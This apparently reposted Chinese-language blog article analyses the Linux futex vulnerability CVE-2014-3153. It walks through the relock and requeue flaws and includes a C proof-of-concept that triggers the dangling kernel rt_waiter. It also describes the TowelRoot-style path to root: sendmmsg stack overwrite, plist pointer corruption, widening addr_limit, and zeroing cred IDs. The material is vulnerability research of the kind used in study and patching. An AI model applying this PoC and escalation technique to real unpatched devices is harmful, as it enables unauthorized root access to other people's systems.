CVE-2014-3153

来源:互联网 发布:蒙泰5.0软件官方下载 编辑:程序博客网 时间:2024/06/05 04:23

一 漏洞的原因:

漏洞利用了 futex_requeue,futex_lock_pi,futex_wait_requeue_pi三个函数存在的两个漏洞,进行组合这三个系 统调用,攻击者可以造成futex变量有等待者,却没有拥有者,破坏了futex架构,进一步,通过精心设计的函数栈填充,可以修改栈上的等待者 rt_mutex中的数据,从而对内核中的数据进行修改,达到提权目的。

二 原理分析

通过虚拟机进行测试,Android goldfish3.4内核运行命令:

emulator -verbose -show-kernel -kernel arch/arm/boot/zImage -avd nexus -debug init -no-boot-anim -no-skin -no-window  -no-audio -qemu -s -S

这里写图片描述

2.1 relock漏洞

relock漏洞源于futex_lock_pi函数,函数的系统调用形式是syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);,Futex的内核接口是do_futex。

do_futex(u32 user *uaddr, int op, u32 val, ktime_t *timeout, u32 user *uaddr2, u32 val2, u32 val3){switch (cmd) {case FUTEX_WAIT:    val3 = FUTEX_BITSET_MATCH_ANY;case FUTEX_WAIT_BITSET:    return futex_wait(uaddr, flags, val, timeout, val3);case FUTEX_WAKE:    val3 = FUTEX_BITSET_MATCH_ANY;case FUTEX_WAKE_BITSET:    return futex_wake(uaddr, flags, val, val3);case FUTEX_REQUEUE:    return futex_requeue(uaddr, flags, uaddr2, val, val2, NULL, 0);case FUTEX_CMP_REQUEUE:    return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 0);case FUTEX_WAKE_OP:    return futex_wake_op(uaddr, flags, uaddr2, val, val2, val3);case FUTEX_LOCK_PI:    return futex_lock_pi(uaddr, flags, val, timeout, 0); //锁住uaddr,等待futex_unlock_pi来解锁case FUTEX_UNLOCK_PI:    return futex_unlock_pi(uaddr, flags);case FUTEX_TRYLOCK_PI:    return futex_lock_pi(uaddr, flags, 0, timeout, 1);case FUTEX_WAIT_REQUEUE_PI:    val3 = FUTEX_BITSET_MATCH_ANY;    return futex_wait_requeue_pi(uaddr, flags, val, timeout, val3, uaddr2);case FUTEX_CMP_REQUEUE_PI:    return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1);}

futex_lock_atomic的核心功能是锁住uaddr,实现是通过futex_lock_pi_atomic。

static int futex_lock_pi_atomic(u32 __user *uaddr, struct futex_hash_bucket *hb, union futex_key *key, struct futex_pi_state **ps, struct task_struct *task, int set_waiters){/* Attempt a cmpxchg */if (unlikely(cmpxchg_futex_value_locked(&curval, uaddr, 0, newval)))    return -EFAULT;/* Check that the cmpxchg succeeded in a 0->TID transition */if (unlikely(!curval))    return 1;}

cmpxchg_futex_value_locked(&curval, uaddr, 0, newval)尝试去锁住uaddr,它的实现的含义是如果uaddr中存储的值为0,那么就说明没有线程占用锁,成功的获取到了锁,并将当前线程的id 写进去。(uaddr是用户空间的一个整形变量,被用于Futex系统架构中的futex互斥量。uaddr的值与其用户空间的地址都会被Futex用到。)所以这里就存在一个问题,那就是uaddr是用户空间的变量,我们可以在程序中修改,手动设置为0,从而达到释放锁的目的,而不必通过 futex_unlock_pi。这必然是存在一些问题的,因为futex_unlock_pi中有一些收尾工作没有做,比如唤醒阻塞在锁上的线程,修改 pi_state等。所以这个时候产生的问题是,线程A先锁住了uaddr,用户将uaddr的值设为0,然后在线程B中再次去锁住uaddr,结果会成功,而不会阻塞,这个时候线程A和B都拥有锁uaddr,从而造成了这个relock漏洞。

2.2 requeue漏洞

futex_wait_requeue_pi的功能是让调用线程阻塞在uaddr1上,然后等待futex_requeue的唤醒。唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生。对应的系统调用接口是FUTEX_WAIT_REQUEUE_PI和 FUTEX_CMP_REQUEUE_PI。正常情况下,我们的调用情况如下:

syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); //在uaddr1上等待syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); //尝试获取uaddr2上的锁,然后唤醒uaddr1上

等待的线程。如果uaddr2锁获取失败,则将被唤醒线程添加到uaddr2的 rt_waiter列表上,进入内核等待这个时候如果我们再次调用

syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1)

将失败而直接返回,并不会进入系统调用。而requeue漏洞允许我们在以上两条语句执行之后,继续执行这样的语句:

syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);

这个语句中所有地址都变成了uaddr2,也就是说将等待在uaddr2上的线程重排到uaddr2上,这是不合逻辑的,但是Futex没有检查这样的调 用,也就是说没有检查uaddr1 == uaddr2的情况,从而造成了我们可以二次进入futex_requeue中进行唤醒操作。表面上看上去这两个漏洞似乎影响都不是很大,对内核没有构成直接威胁,不过聪明的攻击者对这两个漏洞进行了组合,获取了一种不错的效果。

2.3 漏洞组合

首先,我们要了解futex_requeue中唤醒futex_wait_requeue_pi线程的两种方式:

futex_proxy_trylock_atomic调用尝试获取uaddr2上的锁,如果成功,则唤醒等待线程,函数返回,否则继续执行。注意,这一步没有进入内核互斥量中,如果成功,将不进入内核互斥量,而是直接返回到用户空间,从而减小内核互斥量的开销;

rt_mutex_start_proxy_lock尝试获取uaddr2锁,如果成功,则唤醒等待线程,如果失败,则将线程阻塞到uaddr2的内核互斥量上,将rt_waiter加入rt_mutex的waiter list。

下面是futex_requeue部分代码:

static int futex_requeue(u32 user *uaddr1, unsigned int flags, u32 user *uaddr2, int nr_wake, int nr_requeue, u32 *cmpval, int requeue_pi){    if (requeue_pi && (task_count - nr_wake < nr_requeue)) {    /* Branch taken */    ret = futex_proxy_trylock_atomic(uaddr2, hb1, hb2, &key1,&key2, &pi_state, nr_requeue);    /* The call will return 0 (the lock is occupied) */    switch (ret) {    case 0:    /* End of this clause */    break;}}head1 = &hb1->chain;plist_for_each_entry_safe(this, next, head1, list) {/* requeue_pi == 1 */if (requeue_pi) {    atomic_inc(&pi_state->refcount);    this->pi_state = pi_state;    ret = rt_mutex_start_proxy_lock(&pi_state->pi_mutex,    this->rt_waiter,    this->task, 1);}}}

综合两个漏洞,可以使我们获得一个rt_waiter。具体过程如下:

这里写图片描述

线程1调用futex_lock_pi锁住uaddr2,此时没有其他竞争,所以成功锁住uaddr2;

创建线程2,并等待线程2进入系统调用状态。同时线程2调用futex_wait_requeue_pi(uaddr1,uaddr2)等待被唤 醒,在futex_wait_requeue_pi中会在栈上分配一个rt_waiter,这个rt_waiter会通过futex_q传给 futex_requeue进行进一步操作;

线程2进入内核等待后,线程1继续执行,调用futex_requeue(uaddr1,uaddr2)唤醒线程2。但是由于uaddr2已经被 线程1锁住,futex_requeue尝试获取uaddr2锁将失败,从而不能够唤醒线程2,所以此时futex_requeue需要负责将线程2阻塞 到uaddr2的rt_mutex上,同时将futex_wait_requeue_pi中的rt_waiter加入到rt_waiter的waiter list上,就是上面代码rt_mutex_start_proxy_lock的功能;

利用relock漏洞,将uaddr2赋值为0,释放uaddr2上的锁,这个时候线程2不会被唤醒,因为线程2是等待在rt_mutex上,已经进入内核互斥量中;

利用requeue漏洞,调用futex_requeue(uaddr2,uaddr2),这会导致 futex_proxy_trylock_atomic函数被再次调用,进而调用futex_lock_pi_atomic。这个函数前面已经提过,它是 futex_lock_pi的核心。而在futex_requeue中同样需要,futex_lock_pi_atomic判断uaddr2上的值为0, 从而成功获得锁,然后requeue_pi_wake_futex被执行来唤醒线程2。q->rt_waiter 被赋值为NULL,表示不再需要rt_waiter,因为已经获得了锁(非内核互斥锁),而futex_wait_requeue_pi会认为没有进入内 核互斥量等待,也就是说rt_waiter没有被加入到rt_mutex的waiter list上,因此futex_wait_requeue_pi将执行不清理rt_waiter的分支代码,(这是正常的,因为futex_requeue 获取锁的过程中也提到过两种情况,futex_wait_requeue_pi当中自然也有对应与每种情况的执行流程。)从而造成了线程2被唤醒,但是它 的rt_waiter没有从rt_mutex上摘除,而这个rt_waiter还正好在栈上。这是漏洞利用的关键,下面的图对比了正常情况下与非正常情况 的代码执行过程。

这里写图片描述

上图是程序正常情况下的程序执行路径。红色与蓝色线条分别指被唤醒的两种情况,可以很明显的看到:

蓝色的路径没有进入内核互斥量中,所以也就没有清理rt_waiter的必要;

红色路径进入内核互斥量进行等待,返回到futex_wait_requeue_pi时,需要执行rt_waiter的清理。

下面看一下漏洞利用时的执行路径

这里写图片描述

上图是调用futex_requeue(uaddr1,uaddr2)时候的情况,由于uaddr2被锁,所以 futex_proxy_trylock_atomic获取锁失败,进而调用rt_mutex_start_proxy_lock,将线程2阻塞,并将 rt_waiter加入到rt_mutex的waiter list上,然后等待uaddr2锁被释放。

这里写图片描述

这是设置uaddr2=0后,调用futex_requeue(uaddr2,uaddr2)的情 况,futex_proxy_trylock_atomic尝试获取uaddr2的锁,并成功获取,然后设置了q->rt_waiter = NULL,返回到futex_wait_requeue_pi中,执行了蓝色分支,没有清理rt_waiter而直接返回了。

可以非常清楚的看到,漏洞执行的代码路径分别是正常代码执行的一部分。第一部分为红色执行路径的前部分,而第二部分为蓝色执行路径的后部分。最终的目的是 让等待的线程2醒来并继续执行,但是却没有清理rt_waiter,致使栈上的rt_waiter依然被连在rt_mutex的waiter list上。

以上便是cve2014-3153漏洞的利用原理与过程,而至于这个栈上的没有owner的rt_waiter被链接在rt_mutex上,如果线程2结束,内核清理环境的时候,会去尝试唤醒这个rt_waiter,结果就是造成内核崩溃。下面是漏洞的PoC:

#include <stdio.h>#include <unistd.h>#include <pthread.h>#include <stdlib.h>#include <linux/futex.h>#include <sys/syscall.h>#define USERLOCK_FREE 0#define USERLOCK_OCCUPIED 1#define FUTEX_WAIT_REQUEUE_PI 11#define FUTEX_CMP_REQUEUE_PI 12inline void userlock_wait(volatile const int *userlock){    while (USERLOCK_OCCUPIED == *userlock) {        usleep(10);    }}inline void userlock_lock(volatile int *userlock){    *userlock = USERLOCK_OCCUPIED;}    inline void userlock_release(volatile int *userlock)    {        *userlock = USERLOCK_FREE;     }int get_voluntary_ctxt_switches(pid_t tid){    FILE *fp;    char proc_path[256];    char buf[0x1000];    char *ptr = buf;    int count = -1;    snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);    fp = fopen(proc_path, "rb");    if (fp != NULL) {    fread(buf, sizeof(unsigned char), sizeof(buf), fp);    ptr = strstr(buf, "voluntary_ctxt_switches:");    ptr += strlen("voluntary_ctxt_switches:");    count = atoi(ptr);    fclose(fp);}    return count;}void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count){    while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {    usleep(10);    }}inline int futex_lock_pi(int *uaddr){    return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);}inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2){    return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);}inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval){    return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);}int A = 0, B = 0;volatile int invoke_futex_wait_requeue_pi = 0;volatile pid_t thread_tid = -1;void *thread(void *arg){    thread_tid = gettid();    printf("[2]\n");    userlock_wait(&invoke_futex_wait_requeue_pi);    futex_wait_requeue_pi(&A, &B);    printf("Someone woke me up\n");    while (1) {        sleep(1);}}int main(int argc, char *argv[]){    pthread_t t;    int context_switch_count = 0;    printf("[1]\n");    futex_lock_pi(&B);    userlock_lock(&invoke_futex_wait_requeue_pi);    pthread_create(&t, NULL, thread, NULL);    /* Wait for the thread to be in a system call */    while (thread_tid < 0) {        usleep(10);}    context_switch_count = get_voluntary_ctxt_switches(thread_tid);    userlock_release(&invoke_futex_wait_requeue_pi);    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);    printf("[3]\n");    futex_requeue_pi(&A, &B, A);    printf("[4]\n");    B = 0;    printf("[5]\n");    futex_requeue_pi(&B, &B, B);while (1) {    sleep(1);}return 0;}

这里写图片描述

三 内核提权

3.1 栈内存控制

所谓栈内存控制就是如何能够随意改变栈上的内容,或者重新利用上个函数栈上的内容。

3.2 链表利用

链表这个数据结构,Linux会将一个链表结构嵌入到节点结构中,就像下面这样:

struct list_head {    struct list_head *next, *prev;};struct plist_node {    int prio;    struct list_head prio_list;    struct list_head node_list;};

list_head就是内核的通用链表结构,而我们要使用链表的时候,就会将它嵌入到节点结构中,就像plist_node那样。plist_node是 我们这个漏洞提权的关键,它是链接rt_mutex 的waiter list的链表结构,想要对rt_waiter进行控制,就要靠它了。

rt_waiter就如同这个临时节点一样,可以被我们修改,只不过 rt_waiter在内核栈中,修改它要麻烦一些,不能直接写个函数去修改,因为我们写的函数都是用户空间的,进不去内核,所以需要一个内核函数去修改 它。不过这个内核函数要满足一下两个条件:

它的函数内核栈一定要足够的大,以至于我们可以覆盖到rt_waiter的地址。(因为函数的局部变量不同,变量的大小不同,就会导致不同大小的函数栈);

我们能够向这个栈上写东西,当然不是直接写,而是通过传递参数,而这个函数又会将参数复制到栈上,就可以达到这个目的。

TowelRoot中使用的sendmmsg函数就满足这个要求。sendmmsg的函数声明及主要结构如下:

int sendmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen,int sendmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen,unsigned int flags);struct mmsghdr {struct msghdr msg_hdr;unsigned int msg_len;};struct msghdr {void *msg_name;socklen_t msg_namelen;struct iovec *msg_iov;size_t msg_iovlen;void *msg_control;size_t msg_controllen;int msg_flags;};struct iovec {void *iov_base;__kernel_size_t iov_len;};

函数最后在内核中调用的是___sys_sendmsg。该函数栈上数据与rt_waiter的重叠部分如下图:

这里写图片描述

其中一部分数据是iovstack(*(msgvec.msg_iov))的部分内容,一部分是msgvec.msg_name的部分内容。所以很明显, 通过写入特定的msgvec.msg_name和msgvec.msg_iov,就可以改写rt_waiter节点的内容,使之按照我们的路径去执行。知 道了怎么修改rt_waiter之后,下面看一下该写一些什么内容,也就是说我们如何利用目前的漏洞进行对内核中的地址进行写入数据,因为要提权,只能修 改rt_waiter的内容是不够的。这里需要进一步利用plist链表。在plist链表中有两个链,一个是prio链,一个是节点链。那么一个节点, 为什么要两个链?因为他们具有不同的视图,用途不一样。链表中的每个节点都不同,但是他们的prio值是可以相同的(具有相同的优先级),所以 node_list链接了所有节点,而prio_list仅链接了prio不同的节点,具体情况如下图:

这里写图片描述

内核在利用优先级选择节点的时候,会选择链接在prio_list上的节点,例如prio为20的节点,如果节点被成功唤醒,该节点将被清除,然后内核会 修改该链表,将另外一个prio=20的节点链接到prio_list上。可以看出这个链表就是按照prio进行排序的。因此我们可以利用prio的值来 控制插入节点的位置,如果我们可以插入节点的话。下图是我们修改后的链表情况。

这里写图片描述

我们修改了rt_waiter节点的prio.next指针,指向我们的共享内存中的特定位置,该位置事先被填充了作为一个plist节点的必要数据,该 数据包括prio的值,以及对应的链表指针。可以看出,我们将链表链接到了我们可以控制的共享内存中,这都是因为内核并没有检查链表节点的地址是否为内核 空间地址,所以我们可以修改成功。那么现在有了一块可以随意控制的链表节点,接下来看怎么利用它来修改内核空间的值。调用futex_lock_pi会向 链表中添加rt_waiter节点,而在调用线程中,先设置优先级,就可以控制节点的插入位置。我们将该节点的优先级的值设置在两个伪造节点的中间,插入 后的效果如下:

这里写图片描述

这样一来,新节点的后节点是我们可以随意查看的用户空间内存,而新节点所在的空间是内核空间,因此我们可以通过 fake_node.node_list.prev查看到新节点的内核空间的地址,成功的泄漏了内核空间地址。这个地址非常重要,因为它是一个新的 rt_waiter的地址,之前的rt_waiter节点虽然可以随意修改,但是我们无法读取它的内容以及它的地址,原因就是因为它是内核空间中的,而现 在经过上面的精心设计,我们得到了一个有效的rt_waiter的内核地址,不过我们还是不能够随意修改,但是已经很接近了。那么到底如何修改内核空间的 任意地址那?关键还是在于fake_node。下面的图中只画出我们关心的fake_node部分。相信大家应该都了解链表的插入操作,我在此简单描述一 下,假设我们要在fake_node的前面插入节点,执行过程大概是这样:

fake_node.prev.next = new_node;new_node.prev = fake_node.prev;fake_node.prev = new_node;new_node.next = fake_node;

这里面我们修改了fake_node的prev,fake_node.prev的next以及new_node的prve和next。这是基本的也是通用的链表插入操作。那么怎么修改内核特定地址的值那?看下面的图:

这里写图片描述

假设我们要修改的内核地址为A,在插入新节点之前,我们将fake_node的node.prev的值设置为A-offset,其中offset就是plist前两个成员的大小,也就是说地址A就是node.next的地址。然后插入新节点,如下图:

这里写图片描述

可以看到红色的node.next指向后继节点,也就是说地址A中的值被修改成了新节点的地址。虽然这个修改很受限制,只能修改为新节点的地址,但是确实 是成功的修改了内核空间中指定地址的值。以上便是利用链表来对特定地址进行修改的过程。但是这似乎还是不能够完成提权的目的。

3.3 任意写入内核空间

上一节利用链表的操作,我们得到了一个rt_waiter的地址,同时还能够将这个地址写进任意的内核地址中。那么如何才能够对内核的任意地址进行写入任 意值那?我们需要修改thread_info.addr_limit。这个变量规定了特定线程的用户空间地址最大值,超过这个值的地址,用户空间代码不能 访问。所以我们的目的很简单,那就是把这个addr_limit改的大一些,多大?0xffffffff,这样就可以对内核为所欲为了。那么如何获得 addr_limit的地址那?那就是利用rt_waiter的地址。rt_waiter这个结构是在内核栈上分配的,所以我们就知道了内核栈上的一个地 址。而又由于thread_info与内核栈共用8K的内存空间,因此有一个技巧,就是任意内核栈的地址与上0xffffe000,就会得到 thread_info的地址。这个技巧被内核代码所使用。所以我们就知道了thread_info的地址,再定义正确的thread_info的结构, 就可以得到addr_limit的地址了。

这里写图片描述

得到这个地址之后,就可以对它进行写入一个新rt_waiter的地址。这有什么用那?我们现在还没有能力写入0xffffffff,但是写入这个 rt_waiter的地址也是有一定帮助的,因为rt_waiter的地址是内核地址,所以被修改后的addr_limit也一定在内核之中了,我们的用 户空间代码能访问部分内核空间了。看,我们离目标又近了一步。那么到底怎样写入0xffffffff那?既然我们可以修改一次addr_limit,自然 还可以多次修改addr_limit,关键是每个rt_waiter的地址又是不同的,但是请注意,这个rt_waiter的地址却不一定的递减的,因为 不同线程具有独立的内核栈,所以不同线程的rt_waiter不在同一个栈上,他们的地址是随机分布的。这样就有了一个方法,可以将0xffffffff 写进去。具体过程描述如下:

这里写图片描述

首先,主线程创建线程A,用于提权操作。线程A创建后,调用futex_lock_pi,产生rt_waiter,然后进入等待,这个时候,主线程向其发 送信号,唤醒它继续执行信号处理程序。在信号处理程序中,线程A开始获取addr_limit的地址,然后尝试读取其内容,直到成功;这个时候主线程开始 创建新的线程B,用以产生新的rt_waiter,并利用上面的技术将这个新的rt_waiter的地址写进线程A的addr_limit。循环执行这个 过程,直到线程A成功读取addr_limit的内容。如果线程A的内核栈的地址低于线程B的内核栈的地址的话,我们将新的rt_waiter的地址写进 线程A的addr_limit的话,这个时候线程A的用户空间的最大值就会变成线程B的内核栈上的地址,而由于B的内核栈高于A的内核栈,所以这个时候, 线程A便可以访问addr_limit了,addr_limit的地址已经属于用户空间了。既然是用户空间,那么就可以将0xffffffff写进 addr_limit中,从而将线程A的所有地址都对用户空间开放,来进一步执行提权操作了。所以最终我们在线程A中获得了内核空间的任意访问能力,请注 意,只限于线程A,因为每个线程在内核看来是独立的,是具有不同内核栈和thread_info(addr_limit)的。

3.4 内核数据修改与提权

既然可以对内核数据随意修改了,那么现在的问题就是获取要修改数据的地址。thread_info包含了线程的主要信息,当然也就包括了线程的 task_struct。而task_struct结构体包含了该线程的所有信息。这其中就包括权限方面的重要证书信息cred,该结构体是线程权限的管 理者,标识了当前线程的权限。参考TowelRoot的修改大致如下:

credbuf.uid = 0;credbuf.gid = 0;credbuf.suid = 0;credbuf.sgid = 0;credbuf.euid = 0;credbuf.egid = 0;credbuf.fsuid = 0;credbuf.fsgid = 0;credbuf.cap_inheritable.cap[0] = 0xffffffff;credbuf.cap_inheritable.cap[1] = 0xffffffff;credbuf.cap_permitted.cap[0] = 0xffffffff;credbuf.cap_permitted.cap[1] = 0xffffffff;credbuf.cap_effective.cap[0] = 0xffffffff;credbuf.cap_effective.cap[1] = 0xffffffff;credbuf.cap_bset.cap[0] = 0xffffffff;credbuf.cap_bset.cap[1] = 0xffffffff;securitybuf.osid = 1;securitybuf.sid = 1;taskbuf.pid = 1;

这些数据的查找过程就是从task_struct -> cred -> secutiry。由于不同平台,他们的task_struct,cred及security可能不一样,所以不应该直接按照一种结构的定义直接去调用相应的成员,而是采用遍历查找的方式更具有可移植性。这里在修改这些数据的时候,有一个问题,cred是随时可能被内核调用的重要的结构体,它采用了RCU 同步机制。也就是说我们要修改cred及secutiry,都需要先COPY出来一个副本buf,在副本上进行修改,然后再将buf写回去。

const struct cred __rcu *real_cred; /* objective and real subjective task credentials (COW) */const struct cred __rcu *cred; /* effective (overridable) subjective task credentials (COW) */
原创粉丝点击